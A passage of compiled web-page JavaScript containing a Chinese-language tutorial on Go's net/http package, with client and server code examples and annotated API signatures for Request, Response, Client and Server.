:= "application/json"\n\tdata := `{"name":"\u5c0f\u738b\u5b50","age":18}`\n\tresp, err := http.Post(url, contentType, strings.NewReader(data))\n\tif err != nil {\n\t\tfmt.Printf("post failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("get resp failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684Server\u7aefHandlerFunc\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func postHandler(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\t// 1. \u8bf7\u6c42\u7c7b\u578b\u662fapplication/x-www-form-urlencoded\u65f6\u89e3\u6790form\u6570\u636e\n\tr.ParseForm()\n\tfmt.Println(r.PostForm) // \u6253\u5370form\u6570\u636e\n\tfmt.Println(r.PostForm.Get("name"), r.PostForm.Get("age"))\n\t// 2. \u8bf7\u6c42\u7c7b\u578b\u662fapplication/json\u65f6\u4ecer.Body\u8bfb\u53d6\u6570\u636e\n\tb, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfmt.Printf("read request.Body failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n\tanswer := `{"status": "ok"}`\n\tw.Write([]byte(answer))\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49client",children:"\u81ea\u5b9a\u4e49Client"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406HTTP\u5ba2\u6237\u7aef\u7684\u5934\u57df\u3001\u91cd\u5b9a\u5411\u7b56\u7565\u548c\u5176\u4ed6\u8bbe\u7f6e\uff0c\u521b\u5efa\u4e00\u4e2aClient\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'client := &http.Client{\n\tCheckRedirect: redirectPolicyFunc,\n}\nresp, err := client.Get("http://example.com")\n// ...\nreq, err := http.NewRequest("GET", "http://example.com", nil)\n// ...\nreq.Header.Add("If-None-Match", `W/"wyzzy"`)\nresp, err := client.Do(req)\n// ...\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49transport",children:"\u81ea\u5b9a\u4e49Transport"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406\u4ee3\u7406\u3001TLS\u914d\u7f6e\u3001keep-alive\u3001\u538b\u7f29\u548c\u5176\u4ed6\u8bbe\u7f6e\uff0c\u521b\u5efa\u4e00\u4e2aTransport\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'tr := &http.Transport{\n\tTLSClientConfig: &tls.Config{RootCAs: pool},\n\tDisableCompression: true,\n}\nclient := &http.Client{Transport: tr}\nresp, err := client.Get("https://example.com")\n'})}),"\n",(0,s.jsx)(n.p,{children:"Client\u548cTransport\u7c7b\u578b\u90fd\u53ef\u4ee5\u5b89\u5168\u7684\u88ab\u591a\u4e2agoroutine\u540c\u65f6\u4f7f\u7528\u3002\u51fa\u4e8e\u6548\u7387\u8003\u8651\uff0c\u5e94\u8be5\u4e00\u6b21\u5efa\u7acb\u3001\u5c3d\u91cf\u91cd\u7528\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u670d\u52a1\u7aef",children:"\u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.h3,{id:"\u9ed8\u8ba4\u7684server",children:"\u9ed8\u8ba4\u7684Server"}),"\n",(0,s.jsx)(n.p,{children:"ListenAndServe\u4f7f\u7528\u6307\u5b9a\u7684\u76d1\u542c\u5730\u5740\u548c\u5904\u7406\u5668\u542f\u52a8\u4e00\u4e2aHTTP\u670d\u52a1\u7aef\u3002\u5904\u7406\u5668\u53c2\u6570\u901a\u5e38\u662fnil\uff0c\u8fd9\u8868\u793a\u91c7\u7528\u5305\u53d8\u91cfDefaultServeMux\u4f5c\u4e3a\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Handle\u548cHandleFunc\u51fd\u6570\u53ef\u4ee5\u5411DefaultServeMux\u6dfb\u52a0\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'http.Handle("/foo", fooHandler)\nhttp.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))\n})\nlog.Fatal(http.ListenAndServe(":8080", nil))\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u9ed8\u8ba4\u7684server\u793a\u4f8b",children:"\u9ed8\u8ba4\u7684Server\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u6765\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7684\u63a5\u6536HTTP\u8bf7\u6c42\u7684Server\u7aef\u793a\u4f8b\uff0c",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u662f\u5bf9net\u5305\u7684\u8fdb\u4e00\u6b65\u5c01\u88c5\uff0c\u4e13\u95e8\u7528\u6765\u5904\u7406HTTP\u534f\u8bae\u7684\u6570\u636e\u3002\u5177\u4f53\u7684\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// http server\n\nfunc sayHello(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintln(w, "Hello \u6c99\u6cb3\uff01")\n}\n\nfunc main() {\n\thttp.HandleFunc("/", sayHello)\n\terr := http.ListenAndServe(":9090", nil)\n\tif err != nil {\n\t\tfmt.Printf("http server failed, err:%v\\n", err)\n\t\treturn\n\t}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u4e4b\u540e\u6267\u884c\uff0c\u6253\u5f00\u4f60\u7535\u8111\u4e0a\u7684\u6d4f\u89c8\u5668\u5728\u5730\u5740\u680f\u8f93\u5165",(0,s.jsx)(n.code,{children:"127.0.0.1:9090"}),"\u56de\u8f66\uff0c\u6b64\u65f6\u5c31\u80fd\u591f\u770b\u5230\u5982\u4e0b\u9875\u9762\u4e86\u3002",(0,s.jsx)(n.img,{alt:"hello\u9875\u9762",src:r(43268).A+"",width:"1322",height:"850"})]}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49server",children:"\u81ea\u5b9a\u4e49Server"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406\u670d\u52a1\u7aef\u7684\u884c\u4e3a\uff0c\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7684Server\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'s := &http.Server{\n\tAddr: ":8080",\n\tHandler: myHandler,\n\tReadTimeout: 10 * time.Second,\n\tWriteTimeout: 10 * time.Second,\n\tMaxHeaderBytes: 1 << 20,\n}\nlog.Fatal(s.ListenAndServe())\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u6a21\u5757\u4ecb\u7ecd",children:"\u6a21\u5757\u4ecb\u7ecd"}),"\n",(0,s.jsx)(n.h3,{id:"request",children:"Request"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'// \u5229\u7528\u6307\u5b9a\u7684method, url\u4ee5\u53ca\u53ef\u9009\u7684body\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u8bf7\u6c42.\u5982\u679cbody\u53c2\u6570\u5b9e\u73b0\u4e86\n// io.Closer\u63a5\u53e3\uff0cRequest\u8fd4\u56de\u503c\u7684Body \u5b57\u6bb5\u4f1a\u88ab\u8bbe\u7f6e\u4e3abody\uff0c\u5e76\u4f1a\u88abClient\n// \u7c7b\u578b\u7684Do\u3001Post\u548cPostForm\u65b9\u6cd5\u4ee5\u53caTransport.RoundTrip\u65b9\u6cd5\u5173\u95ed\u3002 \nfunc NewRequest(method, urlStr string, body io.Reader) (*Request, error) \n\n// \u4eceb\u4e2d\u8bfb\u53d6\u548c\u89e3\u6790\u4e00\u4e2a\u8bf7\u6c42. \nfunc ReadRequest(b *bufio.Reader) (req *Request, err error)\n\n// \u7ed9request\u6dfb\u52a0cookie, AddCookie\u5411\u8bf7\u6c42\u4e2d\u6dfb\u52a0\u4e00\u4e2acookie.\u6309\u7167RFC 6265 \n// section 5.4\u7684\u89c4\u5219, AddCookie\u4e0d\u4f1a\u6dfb\u52a0\u8d85\u8fc7\u4e00\u4e2aCookie\u5934\u5b57\u6bb5.\n// \u8fd9\u8868\u793a\u6240\u6709\u7684cookie\u90fd\u5199\u5728\u540c\u4e00\u884c, \u7528\u5206\u53f7\u5206\u9694\uff08cookie\u5185\u90e8\u7528\u9017\u53f7\u5206\u9694\u5c5e\u6027\uff09 \nfunc (r *Request) AddCookie(c *Cookie)\n\n// \u8fd4\u56derequest\u4e2d\u6307\u5b9a\u540dname\u7684cookie\uff0c\u5982\u679c\u6ca1\u6709\u53d1\u73b0\uff0c\u8fd4\u56deErrNoCookie \nfunc (r *Request) Cookie(name string) (*Cookie, error)\n\n// \u8fd4\u56de\u8be5\u8bf7\u6c42\u7684\u6240\u6709cookies \nfunc (r *Request) Cookies() []*Cookie\n\n// \u5229\u7528\u63d0\u4f9b\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u7ed9http\u57fa\u672c\u6743\u9650\u63d0\u4f9b\u5177\u6709\u4e00\u5b9a\u6743\u9650\u7684header\u3002\n// \u5f53\u4f7f\u7528http\u57fa\u672c\u6388\u6743\u65f6\uff0c\u7528\u6237\u540d\u548c\u5bc6\u7801\u662f\u4e0d\u52a0\u5bc6\u7684 \nfunc (r *Request) SetBasicAuth(username, password string)\n\n// \u5982\u679c\u5728request\u4e2d\u53d1\u9001\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u5ba2\u6237\u7aef\u7684user-Agent\nfunc (r *Request) UserAgent() string\n\n// \u5bf9\u4e8e\u6307\u5b9a\u683c\u5f0f\u7684key\uff0cFormFile\u8fd4\u56de\u7b26\u5408\u6761\u4ef6\u7684\u7b2c\u4e00\u4e2a\u6587\u4ef6\uff0c\u5982\u679c\u6709\u5fc5\u8981\u7684\u8bdd\uff0c\n// \u8be5\u51fd\u6570\u4f1a\u8c03\u7528ParseMultipartForm\u548cParseForm\u3002 \nfunc (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)\n\n// \u8fd4\u56dekey\u83b7\u53d6\u7684\u961f\u5217\u4e2d\u7b2c\u4e00\u4e2a\u503c\u3002\u5728\u67e5\u8be2\u8fc7\u7a0b\u4e2dpost\u548cput\u4e2d\u7684\u4e3b\u9898\u53c2\u6570\u4f18\u5148\u7ea7\n// \u9ad8\u4e8eurl\u4e2d\u7684value\u3002\u4e3a\u4e86\u8bbf\u95ee\u76f8\u540ckey\u7684\u591a\u4e2a\u503c\uff0c\u8c03\u7528ParseForm\u7136\u540e\u76f4\u63a5\n// \u68c0\u67e5RequestForm\u3002 \nfunc (r *Request) FormValue(key string) string\n\n// \u5982\u679c\u8fd9\u662f\u4e00\u4e2a\u6709\u591a\u90e8\u5206\u7ec4\u6210\u7684post\u8bf7\u6c42\uff0c\u8be5\u51fd\u6570\u5c06\u4f1a\u8fd4\u56de\u4e00\u4e2aMIME \u591a\u90e8\u5206reader\uff0c\n// \u5426\u5219\u7684\u8bdd\u5c06\u4f1a\u8fd4\u56de\u4e00\u4e2anil\u548cerror\u3002\u4f7f\u7528\u672c\u51fd\u6570\u4ee3\u66ffParseMultipartForm\n// \u53ef\u4ee5\u5c06\u8bf7\u6c42body\u5f53\u505a\u6d41stream\u6765\u5904\u7406\u3002 \nfunc (r *Request) MultipartReader() (*multipart.Reader, error)\n\n// \u89e3\u6790URL\u4e2d\u7684\u67e5\u8be2\u5b57\u7b26\u4e32\uff0c\u5e76\u5c06\u89e3\u6790\u7ed3\u679c\u66f4\u65b0\u5230r.Form\u5b57\u6bb5\u3002\u5bf9\u4e8ePOST\u6216PUT\n// \u8bf7\u6c42\uff0cParseForm\u8fd8\u4f1a\u5c06body\u5f53\u4f5c\u8868\u5355\u89e3\u6790\uff0c\u5e76\u5c06\u7ed3\u679c\u65e2\u66f4\u65b0\u5230r.PostForm\u4e5f\n// \u66f4\u65b0\u5230r.Form\u3002\u89e3\u6790\u7ed3\u679c\u4e2d\uff0cPOST\u6216PUT\u8bf7\u6c42\u4e3b\u4f53\u8981\u4f18\u5148\u4e8eURL\u67e5\u8be2\u5b57\u7b26\u4e32\n// \uff08\u540c\u540d\u53d8\u91cf\uff0c\u4e3b\u4f53\u7684\u503c\u5728\u67e5\u8be2\u5b57\u7b26\u4e32\u7684\u503c\u524d\u9762\uff09\u3002\u5982\u679c\u8bf7\u6c42\u7684\u4e3b\u4f53\u7684\u5927\u5c0f\u6ca1\u6709\u88ab\n// MaxBytesReader\u51fd\u6570\u8bbe\u5b9a\u9650\u5236\uff0c\u5176\u5927\u5c0f\u9ed8\u8ba4\u9650\u5236\u4e3a\u5f00\u593410MB\u3002\n// ParseMultipartForm\u4f1a\u81ea\u52a8\u8c03\u7528ParseForm\u3002\u91cd\u590d\u8c03\u7528\u672c\u65b9\u6cd5\u662f\u65e0\u610f\u4e49\u7684\u3002\nfunc (r *Request) ParseForm() error \n\n// ParseMultipartForm\u5c06\u8bf7\u6c42\u7684\u4e3b\u4f53\u4f5c\u4e3amultipart/form-data\u89e3\u6790\u3002\n// \u8bf7\u6c42\u7684\u6574\u4e2a\u4e3b\u4f53\u90fd\u4f1a\u88ab\u89e3\u6790\uff0c\u5f97\u5230\u7684\u6587\u4ef6\u8bb0\u5f55\u6700\u591a maxMemery\u5b57\u8282\u4fdd\u5b58\u5728\u5185\u5b58\uff0c\n// \u5176\u4f59\u90e8\u5206\u4fdd\u5b58\u5728\u786c\u76d8\u7684temp\u6587\u4ef6\u91cc\u3002\u5982\u679c\u5fc5\u8981\uff0cParseMultipartForm\u4f1a\n// \u81ea\u884c\u8c03\u7528 ParseForm\u3002\u91cd\u590d\u8c03\u7528\u672c\u65b9\u6cd5\u662f\u65e0\u610f\u4e49\u7684\u3002\nfunc (r *Request) ParseMultipartForm(maxMemory int64) error \n\n// \u8fd4\u56depost\u6216\u8005put\u8bf7\u6c42body\u6307\u5b9a\u5143\u7d20\u7684\u7b2c\u4e00\u4e2a\u503c\uff0c\u5176\u4e2durl\u4e2d\u7684\u53c2\u6570\u88ab\u5ffd\u7565\u3002\nfunc (r *Request) PostFormValue(key string) string \n\n// \u68c0\u6d4b\u5728request\u4e2d\u4f7f\u7528\u7684http\u534f\u8bae\u662f\u5426\u81f3\u5c11\u662fmajor.minor \nfunc (r *Request) ProtoAtLeast(major\uff0cminor int) bool\n\n// \u5982\u679crequest\u4e2d\u6709refer\uff0c\u90a3\u4e48refer\u8fd4\u56de\u76f8\u5e94\u7684url\u3002Referer\u5728request\n// \u4e2d\u662f\u62fc\u9519\u7684\uff0c\u8fd9\u4e2a\u9519\u8bef\u4ecehttp\u521d\u671f\u5c31\u5df2\u7ecf\u5b58\u5728\u4e86\u3002\u8be5\u503c\u4e5f\u53ef\u4ee5\u4eceHeadermap\u4e2d\n// \u5229\u7528Header["Referer"]\u83b7\u53d6\uff1b\u5728\u4f7f\u7528\u8fc7\u7a0b\u4e2d\u5229\u7528Referer\u8fd9\u4e2a\u65b9\u6cd5\u800c\n// \u4e0d\u662fmap\u7684\u5f62\u5f0f\u7684\u597d\u5904\u662f\u5728\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u68c0\u67e5\u65b9\u6cd5\u7684\u9519\u8bef\uff0c\u800c\u65e0\u6cd5\u68c0\u67e5map\u4e2d\n// key\u7684\u9519\u8bef\u3002\nfunc (r *Request) Referer() string \n\n// Write\u65b9\u6cd5\u4ee5\u6709\u7ebf\u683c\u5f0f\u5c06HTTP/1.1\u8bf7\u6c42\u5199\u5165w\uff08\u7528\u4e8e\u5c06\u8bf7\u6c42\u5199\u5165\u4e0b\u5c42TCPConn\u7b49\uff09\n// \u3002\u672c\u65b9\u6cd5\u4f1a\u8003\u8651\u8bf7\u6c42\u7684\u5982\u4e0b\u5b57\u6bb5\uff1aHost URL Method (defaults to "GET")\n// Header ContentLength TransferEncoding Body\u5982\u679c\u5b58\u5728Body\uff0c\n// ContentLength\u5b57\u6bb5<= 0\u4e14TransferEncoding\u5b57\u6bb5\u672a\u663e\u5f0f\u8bbe\u7f6e\u4e3a\n// ["identity"]\uff0cWrite\u65b9\u6cd5\u4f1a\u663e\u5f0f\u6dfb\u52a0\u201dTransfer-Encoding: chunked\u201d\n// \u5230\u8bf7\u6c42\u7684\u5934\u57df\u3002Body\u5b57\u6bb5\u4f1a\u5728\u53d1\u9001\u5b8c\u8bf7\u6c42\u540e\u5173\u95ed\u3002\nfunc (r *Request) Write(w io.Writer) error \n\n// \u8be5\u51fd\u6570\u4e0eWrite\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u4f46\u662f\u8be5\u65b9\u6cd5\u5199\u7684request\u662f\u6309\u7167http\u4ee3\u7406\u7684\u683c\u5f0f\u53bb\u5199\u3002\n// \u5c24\u5176\u662f\uff0c\u6309\u7167RFC 2616 Section 5.1.2\uff0cWriteProxy\u4f1a\u4f7f\u7528\u7edd\u5bf9URI\n// \uff08\u5305\u62ec\u534f\u8bae\u548c\u4e3b\u673a\u540d\uff09\u6765\u521d\u59cb\u5316\u8bf7\u6c42\u7684\u7b2c1\u884c\uff08Request-URI\u884c\uff09\u3002\u65e0\u8bba\u4f55\u79cd\u60c5\u51b5\uff0c\n// WriteProxy\u90fd\u4f1a\u4f7f\u7528r.Host\u6216r.URL.Host\u8bbe\u7f6eHost\u5934\u3002\nfunc (r *Request) WriteProxy(w io.Writer) error\n'})}),"\n",(0,s.jsx)(n.h3,{id:"response",children:"Response"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"// \u6ce8\u610f\u662f\u5728response.go\u4e2d\u5b9a\u4e49\u7684\uff0c\u800c\u5728server.go\u6709\u4e00\u4e2a\n// type response struct \uff0c\u6ce8\u610f\u5927\u5c0f\u5199\u3002\u8fd9\u4e2a\u7ed3\u6784\u662f\u4f53\u73b0\u5728server\u7aef\u7684\u529f\u80fd\u3002\ntype Response struct \n\n// ReadResponse\u4ecer\u8bfb\u53d6\u5e76\u8fd4\u56de\u4e00\u4e2aHTTP \u56de\u590d\u3002req\u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u6307\u5b9a\u8be5\u56de\u590d\n// \u5bf9\u5e94\u7684\u8bf7\u6c42\uff08\u5373\u662f\u5bf9\u8be5\u8bf7\u6c42\u7684\u56de\u590d\uff09\u3002\u5982\u679c\u662fnil\uff0c\u5c06\u5047\u8bbe\u8bf7 \u6c42\u662fGET\u8bf7\u6c42\u3002\n// \u5ba2\u6237\u7aef\u5fc5\u987b\u5728\u7ed3\u675fresp.Body\u7684\u8bfb\u53d6\u540e\u5173\u95ed\u5b83\u3002\u8bfb\u53d6\u5b8c\u6bd5\u5e76\u5173\u95ed\u540e\uff0c\u5ba2\u6237\u7aef\u53ef\u4ee5\n// \u68c0\u67e5resp.Trailer\u5b57\u6bb5\u83b7\u53d6\u56de\u590d\u7684 trailer\u7684\u952e\u503c\u5bf9\u3002\nfunc ReadResponse(r *bufio.Reader, req *Request) (*Response, error)\n\n// \u89e3\u6790cookie\u5e76\u8fd4\u56de\u5728header\u4e2d\u5229\u7528set-Cookie\u8bbe\u5b9a\u7684cookie\u503c\u3002\nfunc (r *Response) Cookies() []*Cookie \n\n// \u8fd4\u56deresponse\u4e2dLocation\u7684header\u503c\u7684url\u3002\u5982\u679c\u8be5\u503c\u5b58\u5728\u7684\u8bdd\uff0c\u5219\u5bf9\u4e8e\n// \u8bf7\u6c42\u95ee\u9898\u53ef\u4ee5\u89e3\u51b3\u76f8\u5bf9\u91cd\u5b9a\u5411\u7684\u95ee\u9898\uff0c\u5982\u679c\u8be5\u503c\u4e3anil\uff0c\u5219\u8fd4\u56deErrNOLocation\u3002\nfunc (r *Response) Location() (*url.URL\uff0cerror) \n\n// \u5224\u5b9a\u5728response\u4e2d\u4f7f\u7528\u7684http\u534f\u8bae\u662f\u5426\u81f3\u5c11\u662fmajor.minor\u7684\u5f62\u5f0f\u3002\nfunc (r *Response) ProtoAtLeast(major, minor int) bool \n\n// \u5c06response\u4e2d\u4fe1\u606f\u6309\u7167\u7ebf\u6027\u683c\u5f0f\u5199\u5165w\u4e2d\u3002\nfunc (r *Response) Write(w io.Writer) error\n"})}),"\n",(0,s.jsx)(n.h3,{id:"client",children:"Client"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"// Client\u5177\u6709Do\uff0cGet\uff0cHead\uff0cPost\u4ee5\u53caPostForm\u7b49\u65b9\u6cd5\u3002 \u5176\u4e2dDo\u65b9\u6cd5\u53ef\u4ee5\u5bf9\n// Request\u8fdb\u884c\u4e00\u7cfb\u5217\u7684\u8bbe\u5b9a\uff0c\u800c\u5176\u4ed6\u7684\u5bf9request\u8bbe\u5b9a\u8f83\u5c11\u3002\u5982\u679cClient\u4f7f\u7528\u9ed8\u8ba4\u7684\n// Client\uff0c\u5219\u5176\u4e2d\u7684Get\uff0cHead\uff0cPost\u4ee5\u53caPostForm\u65b9\u6cd5\u76f8\u5f53\u4e8e\u9ed8\u8ba4\u7684http.Get, \n// http.Post, http.Head\u4ee5\u53cahttp.PostForm\u51fd\u6570\u3002\ntype Client struct\n\n// \u5229\u7528GET\u65b9\u6cd5\u5bf9\u4e00\u4e2a\u6307\u5b9a\u7684URL\u8fdb\u884c\u8bf7\u6c42\uff0c\u5982\u679cresponse\u662f\u5982\u4e0b\u91cd\u5b9a\u5411\u4e2d\u7684\u4e00\u4e2a\n// \u4ee3\u7801\uff0c\u5219Get\u4e4b\u540e\u5c06\u4f1a\u8c03\u7528\u91cd\u5b9a\u5411\u5185\u5bb9\uff0c\u6700\u591a10\u6b21\u91cd\u5b9a\u5411\u3002 \n// 301 (\u6c38\u4e45\u91cd\u5b9a\u5411\uff0c\u544a\u8bc9\u5ba2\u6237\u7aef\u4ee5\u540e\u5e94\u8be5\u4ece\u65b0\u5730\u5740\u8bbf\u95ee) \n// 302 (\u6682\u65f6\u6027\u91cd\u5b9a\u5411\uff0c\u4f5c\u4e3aHTTP1.0\u7684\u6807\u51c6\uff0cPHP\u7684\u9ed8\u8ba4Location\u91cd\u5b9a\u5411\u7528\u5230\n// \u4e5f\u662f302)\uff0c\u6ce8\uff1a303\u548c307\u5176\u5b9e\u662f\u5bf9302\u7684\u7ec6\u5316\u3002 \n// 303 (\u5bf9\u4e8ePost\u8bf7\u6c42\uff0c\u5b83\u8868\u793a\u8bf7\u6c42\u5df2\u7ecf\u88ab\u5904\u7406\uff0c\u5ba2\u6237\u7aef\u53ef\u4ee5\u63a5\u7740\u4f7f\u7528GET\u65b9\u6cd5\u53bb\n// \u8bf7\u6c42Location\u91cc\u7684URl) \n// 307 (\u4e34\u65f6\u91cd\u5b9a\u5411\uff0c\u5bf9\u4e8ePost\u8bf7\u6c42\uff0c\u8868\u793a\u8bf7\u6c42\u8fd8\u6ca1\u6709\u88ab\u5904\u7406\uff0c\u5ba2\u6237\u7aef\u5e94\u8be5\u5411\n// Location\u91cc\u7684URL\u91cd\u65b0\u53d1\u8d77Post\u8bf7\u6c42)\nfunc Get(url string) (resp *Response, err error) \n\n// \u8be5\u51fd\u6570\u529f\u80fd\u89c1net\u4e2dHead\u65b9\u6cd5\u529f\u80fd\u3002\u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2d\n// Head\u65b9\u6cd5\u4e00\u81f4\u3002\nfunc Head(url string) (resp *Response, err error) \n\n// \u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2dPost\u65b9\u6cd5\u4e00\u81f4\u3002\nfunc Post(url string, bodyType string, body io.Reader) (resp *Response, err error)\n\n// \u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2dPostForm\u65b9\u6cd5\u4e00\u81f4\u3002 \nfunc PostForm(url string, data url.Values) (resp *Response, err error)\n\n// Do\u53d1\u9001http\u8bf7\u6c42\u5e76\u4e14\u8fd4\u56de\u4e00\u4e2ahttp\u54cd\u5e94, \u9075\u5b88client\u7684\u7b56\u7565, \u5982\u91cd\u5b9a\u5411, \n// cookies\u4ee5\u53caauth\u7b49.\u9519\u8bef\u7ecf\u5e38\u662f\u7531\u4e8e\u7b56\u7565\u5f15\u8d77\u7684, \u5f53err\u662fnil\u65f6, resp\n// \u603b\u4f1a\u5305\u542b\u4e00\u4e2a\u975enil\u7684resp.body.\u5f53\u8c03\u7528\u8005\u8bfb\u5b8cresp.body\u4e4b\u540e\u5e94\u8be5\u5173\u95ed\u5b83, \n// \u5982\u679cresp.body\u6ca1\u6709\u5173\u95ed, \u5219Client\u5e95\u5c42RoundTripper\u5c06\u65e0\u6cd5\u91cd\u7528\u5b58\u5728\u7684\n// TCP\u8fde\u63a5\u53bb\u670d\u52a1\u63a5\u4e0b\u6765\u7684\u8bf7\u6c42, \u5982\u679cresp.body\u975enil, \u5219\u5fc5\u987b\u5bf9\u5176\u8fdb\u884c\u5173\u95ed.\n// \u901a\u5e38\u6765\u8bf4, \u7ecf\u5e38\u4f7f\u7528Get, Post, \u6216\u8005PostForm\u6765\u66ff\u4ee3Do. \nfunc (c *Client) Do(req *Request) (resp *Response, err error)\n\n// \u5229\u7528get\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url.Get\u8bf7\u6c42\u6307\u5b9a\u7684\u9875\u9762\u4fe1\u606f\uff0c\u5e76\u8fd4\u56de\u5b9e\u4f53\u4e3b\u4f53\u3002\nfunc (c *Client) Get(url string) (resp *Response, err error) \n\n// \u5229\u7528head\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url\uff0cHead\u53ea\u8fd4\u56de\u9875\u9762\u7684\u9996\u90e8\u3002\nfunc (c *Client) Head(url string) (resp *Response, err error) \n\n// post\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684URl, \u5982\u679cbody\u4e5f\u662f\u4e00\u4e2aio.Closer, \u5219\u5728\u8bf7\u6c42\u4e4b\u540e\u5173\u95ed\u5b83 \nfunc (c *Client) Post(url string, bodyType string, body io.Reader) (resp *Response, err error)\n\n// \u5229\u7528post\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url, \u5229\u7528data\u7684key\u548cvalue\u4f5c\u4e3a\u8bf7\u6c42\u4f53. \nfunc (c *Client) PostForm(url string, data url.Values) (resp *Response, err error)\n"})}),"\n",(0,s.jsx)(n.h3,{id:"server-\u670d\u52a1\u7aef",children:"Server \u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.p,{children:"http Server\u670d\u52a1\u7aef\u7528\u6765\u63a5\u6536\u5e76\u54cd\u5e94http Client\u7aef\u53d1\u51fa\u7684http Request\u8bf7\u6c42\uff0c\u662fnet/http\u5305\u4e2d\u975e\u5e38\u91cd\u8981\u548c\u5173\u952e\u7684\u4e00\u4e2a\u529f\u80fd\u3002\u6211\u4eec\u5728Go\u8bed\u8a00\u4e2d\u7b80\u5355\u5c31\u80fd\u642d\u5efaHTTP\u670d\u52a1\u5668\uff0c\u5c31\u662f\u56e0\u4e3a\u5b83\u7684\u5b58\u5728\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5728server.go\u6587\u4ef6\u4e2d\u8fd8\u5b9a\u4e49\u4e86\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u63a5\u53e3\uff1aHandler\uff0c\u53e6\u5916\u8fd8\u6709\u4e00\u4e2a\u7ed3\u6784\u4f53response\uff0c\u8fd9\u548chttp.Response\u7ed3\u6784\u4f53\u53ea\u6709\u9996\u5b57\u6bcd\u5927\u5c0f\u5199\u4e0d\u4e00\u81f4\uff0c\u4e0d\u8fc7\u8fd9\u4e2aresponse \u4e5f\u662f\u54cd\u5e94\uff0c\u53ea\u4e0d\u8fc7\u662f\u4e13\u95e8\u7528\u5728\u670d\u52a1\u7aef\uff0c\u548chttp.Response\u7ed3\u6784\u4f53\u662f\u5b8c\u5168\u4e24\u56de\u4e8b\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"type Handler interface {\n ServeHTTP(ResponseWriter, *Request)\n}\n\ntype Server struct\n\n// \u76d1\u542cTCP\u7f51\u7edc\u5730\u5740srv.Addr\u7136\u540e\u8c03\u7528Serve\u6765\u5904\u7406\u63a5\u4e0b\u6765\u8fde\u63a5\u7684\u8bf7\u6c42\u3002\n// \u5982\u679csrv.Addr\u662f\u7a7a\u7684\u8bdd\uff0c\u5219\u4f7f\u7528\u201c:http\u201d\u3002\nfunc (srv *Server) ListenAndServe() error \n\n// ListenAndServeTLS\u76d1\u542csrv.Addr\u786e\u5b9a\u7684TCP\u5730\u5740\uff0c\u5e76\u4e14\u4f1a\u8c03\u7528Serve\n// 